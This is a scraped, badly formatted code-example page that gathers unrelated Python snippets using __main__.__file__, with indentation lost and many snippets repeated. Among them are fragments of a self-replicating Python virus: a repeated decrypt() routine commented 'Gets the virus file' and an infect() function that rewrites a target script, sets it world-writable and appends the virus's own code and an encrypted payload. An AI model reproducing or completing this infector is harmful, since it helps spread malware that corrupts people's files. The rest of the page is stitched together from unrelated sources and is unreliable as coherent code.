def setup(bot):
bot.add_cog(Tunes(bot))
if __main__.__file__ == "bot.py": # use test channels
print("set to test channels")
bot.testing = True
bot.request_channel = "304837708650643459"
bot.music_channel = "312693106736889867"
else: # use production channels
bot.testing = False
print("set to production channels")
bot.request_channel = "354084037465473025"
bot.music_channel = "228761314644852737"
bot.music_priorityqueue = False
bot.music_authoritarian = False
bot.admins_dict = {"173702138122338305":"henry",
"173177975045488640":"nos"
}
python类__file__()的实例源码
def get_base_app_name():
"""
Base App name, which this script belongs to.
"""
import __main__
main_name = __main__.__file__
absolute_path = os.path.normpath(main_name)
parts = absolute_path.split(os.path.sep)
parts.reverse()
for key in ("apps", "slave-apps", "master-apps"):
try:
idx = parts.index(key)
if parts[idx + 1] == "etc":
return parts[idx - 1]
except (ValueError, IndexError):
pass
raise RestError(
status=500,
message='Cannot get app name from file: %s' % main_name
)
def get_base_app_name():
"""
Base App name, which this script belongs to.
"""
import __main__
main_name = __main__.__file__
absolute_path = os.path.normpath(main_name)
parts = absolute_path.split(os.path.sep)
parts.reverse()
for key in ("apps", "slave-apps", "master-apps"):
try:
idx = parts.index(key)
if parts[idx + 1] == "etc":
return parts[idx - 1]
except (ValueError, IndexError):
pass
raise RestError(
status=500,
message='Cannot get app name from file: %s' % main_name
)
def get_base_app_name():
"""
Base App name, which this script belongs to.
"""
import __main__
main_name = __main__.__file__
absolute_path = os.path.normpath(main_name)
parts = absolute_path.split(os.path.sep)
parts.reverse()
for key in ("apps", "slave-apps", "master-apps"):
try:
idx = parts.index(key)
if parts[idx + 1] == "etc":
return parts[idx - 1]
except (ValueError, IndexError):
pass
raise RestError(
status=500,
message='Cannot get app name from file: %s' % main_name
)
def download_file(url, binary=True):
if sys.version_info < (3,):
from urlparse import urlsplit
import urllib2
request = urllib2
error = urllib2
else:
from urllib.parse import urlsplit
from urllib import request, error
filename = os.path.basename(urlsplit(url)[2])
data_dir = os.path.join(os.path.dirname(__file__), 'data')
path = os.path.join(data_dir, filename)
if os.path.exists(path):
return path
try:
data = request.urlopen(url, timeout=15).read()
with open(path, 'wb' if binary else 'w') as f:
f.write(data)
return path
except error.URLError:
msg = "could not download test file '{}'".format(url)
warnings.warn(msg, RuntimeWarning)
raise unittest.SkipTest(msg)
def is_proxy():
'''
Return True if this minion is a proxy minion.
Leverages the fact that is_linux() and is_windows
both return False for proxies.
TODO: Need to extend this for proxies that might run on
other Unices
'''
import __main__ as main
# This is a hack. If a proxy minion is started by other
# means, e.g. a custom script that creates the minion objects
# then this will fail.
is_proxy = False
try:
if 'salt-proxy' in main.__file__:
is_proxy = True
except AttributeError:
pass
return is_proxy
def download_file(url, binary=True):
if sys.version_info < (3,):
from urlparse import urlsplit
import urllib2
request = urllib2
error = urllib2
else:
from urllib.parse import urlsplit
from urllib import request, error
filename = os.path.basename(urlsplit(url)[2])
data_dir = os.path.join(os.path.dirname(__file__), 'data')
path = os.path.join(data_dir, filename)
if os.path.exists(path):
return path
try:
data = request.urlopen(url, timeout=15).read()
with open(path, 'wb' if binary else 'w') as f:
f.write(data)
return path
except error.URLError:
msg = "could not download test file '{}'".format(url)
warnings.warn(msg, RuntimeWarning)
raise unittest.SkipTest(msg)
def __loadTkdnd(self):
global TkDND
if TkDND is None:
try:
tkdndlib = os.path.join(os.path.dirname(os.path.abspath(__file__)), "lib", "tkdnd2.8")
os.environ['TKDND_LIBRARY'] = tkdndlib
from appJar.lib.TkDND_wrapper import TkDND
self.dnd = TkDND(self.topLevel)
except:
TkDND = False
# function to receive DnD events
def init_words(dict_file):
with open(os.path.join(os.path.split(__main__.__file__)[0], dict_file)) as words_f:
return json.load(words_f)
def get_root_log_fn():
if hasattr(__main__, '__file__'):
name = __main__.__file__
name = os.path.basename(name)
if name == '<stdin>':
name = '__stdin__'
return name.rsplit('.', 1)[0] + '.' + log_suffix
else:
return '__instant_command__.' + log_suffix
def __init__(self, fn,
handler=None,
file_end_handler=None,
exclusive=True,
id=None,
strip=False):
self.fn = fn
self.handler = handler
self.file_end_handler = file_end_handler
self.exclusive = exclusive
if id is None:
if hasattr(__main__, '__file__'):
id = __main__.__file__
id = os.path.basename(id)
if id == '<stdin>':
id = '__stdin__'
else:
id = '__instant_command__'
self.id = id
self.strip = strip
self.running = None
if (self.handler is not None
and callable(self.handler)):
self.handler = [self.handler]
def _default_pid_file():
if hasattr(__main__, '__file__'):
name = __main__.__file__
name = os.path.basename(name)
if name == '<stdin>':
name = '__stdin__'
return '/var/run/' + name.rsplit('.', 1)[0]
else:
return '/var/run/pykit.daemonize'
def __loadTkdnd(self):
global TkDND
if TkDND is None:
try:
tkdndlib = os.path.join(os.path.dirname(os.path.abspath(__file__)), "lib", "tkdnd2.8")
os.environ['TKDND_LIBRARY'] = tkdndlib
from appJar.lib.TkDND_wrapper import TkDND
self.dnd = TkDND(self.topLevel)
except:
TkDND = False
# function to receive DnD events
def parse_arguments(self):
"""parse_arguments(self)
Parses the arguments passed to the script and calls appropriate functions
"""
#self.parser.add_argument("--%s" % var, action='store', type=str, default=self.interpolate(key=var), help=help)
self.parser.add_argument("--config", action='store', type=str, metavar="path/to/config.yaml", default=self.config_file, help='Config file to load for LGSM script')
self.parser.add_argument("--game", action='store', type=str, default="insserver", help='Game to use')
self.parser.add_argument("--root_dir", action='store', type=str, metavar=".", default=self.interpolate(key="root_dir"), help='Root directory for LGSM')
self.parser.add_argument("--platform", action='store', type=str, default="steam", help='Platform to use for deploying game')
self.parser.add_argument("--game_instance", action='store', type=str, default=self.interpolate(key="game_instance"), help='Instance name')
self.parser.add_argument("--lgsm_dir", action='store', type=str, metavar="~/.lgsm", default="%(root_dir)s/lgsm", help='Directory where all LGSM files will be placed')
self.parser.add_argument("-v", "--verbose", help="Debugging Mode", action='store_true')
self.parser.add_argument("-d", "--debug", help="Debugging Mode", action='store_true')
self.parser.add_argument("-i", "--interactive", help="Interactive Mode", action='store_true')
self.parser.add_argument("--gamedata_dir", action='store', type=str, metavar="./lgsm/gamedata", default="%(lgsm_dir)s/gamedata", help='Path to install game data files')
"""self.parser.add_argument("--gamedata_repo", action='store', type=str, default="lgsm-gamedata", help='GitHub repo for game data')
self.parser.add_argument("--gamedata_user", action='store', type=str, default="%(github_user)s", help='GitHub user for game data')
self.parser.add_argument("--gamedata_branch", action='store', type=str, default="%(github_branch)s", help='GitHub branch for game data')
self.parser.add_argument("--github_update", action='store_true', default=True, help='Update gamedata and modules from GitHub')
self.parser.add_argument("--github_user", action='store', type=str, default="jaredballou", help='Default GitHub user')
self.parser.add_argument("--github_branch", action='store', type=str, default="master", help='Default GitHub branch')
self.parser.add_argument("--lgsm_branch", action='store', type=str, default="%(github_branch)s", help='GitHub LGSM branch')
self.parser.add_argument("--lgsm_repo", action='store', type=str, default="lgsm-python", help='GitHub LGSM repo')
self.parser.add_argument("--lgsm_user", action='store', type=str, default="%(github_user)s", help='GitHub LGSM user')
self.parser.add_argument("--game_script_name", action='store', type=str, default=os.path.basename(os.path.realpath(main.__file__)), help='Game script name')
self.parser.add_argument("--game_script_cfg_dir", action='store', type=str, default="%(lgsm_dir)s/config/%(game_script_name)s", help='LGSM config path for this game')
"""
# required=True,
#choices=['1', '2', '3', '4', '5', '6', '7', '8', '9'],
#action='store_true',
self.args = self.parser.parse_args()
#pprint(self.args)
# print args.accumulate(args.integers)
def _findDirectories(self, top = None, prefix = None):
#self._log("Running - {0} -".format(main.__file__))
top = top if top else os.path.dirname(main.__file__)
self._log("Checking {0} for directories".format(top if prefix is None else prefix))
prefix = "" if prefix is None else prefix
directories = [top]
entries = os.listdir(top)
for entry in entries:
if os.path.isdir(top + "/" + entry):
entryDir = "/" + entry
self._log("Adding directory {0} ".format(prefix + entryDir ))
directories += self._findDirectories(top + entryDir , prefix = entryDir )
return directories
def decrypt(data):
this = open(__main__.__file__, 'r')
data = base64.b64decode(data);
iv = Random.new().read(AES.block_size)
cipher = AES.new(StringIO.StringIO(this).read(24), AES.MODE_CFB, iv)
this.close()
return cipher.decrypt(data)[16:]
# Gets the virus file
def decrypt(data):
this = open(__main__.__file__, 'r')
data = base64.b64decode(data);
iv = Random.new().read(AES.block_size)
cipher = AES.new(StringIO.StringIO(this).read(24), AES.MODE_CFB, iv)
this.close()
return cipher.decrypt(data)[16:]
# Gets the virus file
def decrypt(data):
this = open(__main__.__file__, 'r')
data = base64.b64decode(data);
iv = Random.new().read(AES.block_size)
cipher = AES.new(StringIO.StringIO(this).read(24), AES.MODE_CFB, iv)
this.close()
return cipher.decrypt(data)[16:]
# Gets the virus file
def decrypt(data):
this = open(__main__.__file__, 'r')
data = base64.b64decode(data);
iv = Random.new().read(AES.block_size)
cipher = AES.new(StringIO.StringIO(this).read(24), AES.MODE_CFB, iv)
this.close()
return cipher.decrypt(data)[16:]
# Gets the virus file
def infect(filename):
os.rename(filename, filename + '-copy')
destination = open(filename, 'w')
os.chmod(filename, 0777)
source = open(filename + '-copy', 'r')
this = open(__main__.__file__, 'r')
# Append the original file
for line in source:
destination.write(line)
destination.write("\n######################################################## First script python\n")
destination.write("# coding=utf-8\n")
destination.write("# Start Unencrypted\n")
copy = False
result = ''
for line in this:
if line.strip() == '# Start Unencrypted':
copy = True
elif line.strip() == '# End Unencrypted':
destination.write('# End Unencrypted')
copy = False
elif copy:
destination.write(line);
destination.write("\n# Start payload\n")
destination.write("#")
destination.write(str(encrypt(e, filename)))
destination.write("\n# End payload")
os.remove(filename + '-copy')
source.close()
destination.close()
this.close()
def decrypt(data):
this = open(__main__.__file__, 'r')
data = base64.b64decode(data);
iv = Random.new().read(AES.block_size)
cipher = AES.new(StringIO.StringIO(this).read(24), AES.MODE_CFB, iv)
this.close()
return cipher.decrypt(data)[16:]
# Gets the virus file
def decrypt(data):
this = open(__main__.__file__, 'r')
data = base64.b64decode(data);
iv = Random.new().read(AES.block_size)
cipher = AES.new(StringIO.StringIO(this).read(24), AES.MODE_CFB, iv)
this.close()
return cipher.decrypt(data)[16:]
# Gets the virus file
def test_main(self):
import __main__
path, src, is_pkg = self.call('__main__')
self.assertEquals(path, __main__.__file__)
self.assertEquals(src, open(path).read())
self.assertFalse(is_pkg)
def module_path():
""" This will get us the program's directory,
even if we are frozen using py2exe"""
if we_are_frozen():
print "Apparently running from the executable."
return os.path.dirname(unicode(sys.executable, sys.getfilesystemencoding( )))
return os.path.dirname(unicode(__file__, sys.getfilesystemencoding( )))
def read(file = None, create = False):
import __main__
if file == None or file == __main__.__file__:
file = OS.filename(OS.realpath(__main__.__file__)) + ".ini"
else:
file = OS.realpath(file)
if create == False:
if not OS.isfile(file):
return None
return Conf(file)
def from_pyfile(self, filename, silent=False):
#filename = os.path.join(self.root_path, filename)
d = types.ModuleType('config')
d.__file__ = filename
try:
with open(filename, mode='rb') as config_file:
exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
except IOError as e:
e.strerror = 'Unable to load configuration file (%s)' % e.strerror
raise
self.from_object(d)
return True
def load_config(config_path=None):
if config_path is None:
import __main__ as main
main_path = os.path.dirname(os.path.realpath(main.__file__))
config_path = os.path.join(main_path, 'config.py')
print('loading config file: {}'.format(config_path))
cfg = Config()
cfg.from_pyfile(config_path)
print('config loaded')
return cfg
def __init__(self, bot):
self.bot = bot
self.remindmelist = list()
self.remindmedb = sqlite3.connect("remindmedb")
c = self.remindmedb.cursor()
c.execute("CREATE TABLE IF NOT EXISTS remindme (user_id bigint, msg varchar(2000), datetime datetime, channel_id varchar(20))")
self.remindmedb.commit()
c.close()
self.mass_populate()
main_loop = asyncio.get_event_loop()
main_loop.create_task(self.loop_remindme())
if __main__.__file__ == "bot.py":
self.remindmechannel = "304837708650643459" #testing channel
else:
self.remindmechannel = "228761314644852736" #production channel
def _read_httplib2_default_certs():
import httplib2 # import error should not happen here, and will be well handled by outer called
httplib_dir = os.path.dirname(os.path.abspath(httplib2.__file__))
ca_certs_path = os.path.join(httplib_dir, HTTPLIB2_CA_CERT_FILE_NAME)
return _read_pem_file(ca_certs_path)
def _get_temp_cert_file_dir():
import __main__
app_root = op.dirname(op.dirname(op.abspath(__main__.__file__)))
temp_dir = op.join(app_root, 'temp_certs')
if not op.isdir(temp_dir):
try:
os.mkdir(temp_dir)
except:
pass
for candidate in ['temp_certs', 'local', 'default']:
dir_path = op.join(app_root, candidate)
if op.isdir(dir_path):
return dir_path
return app_root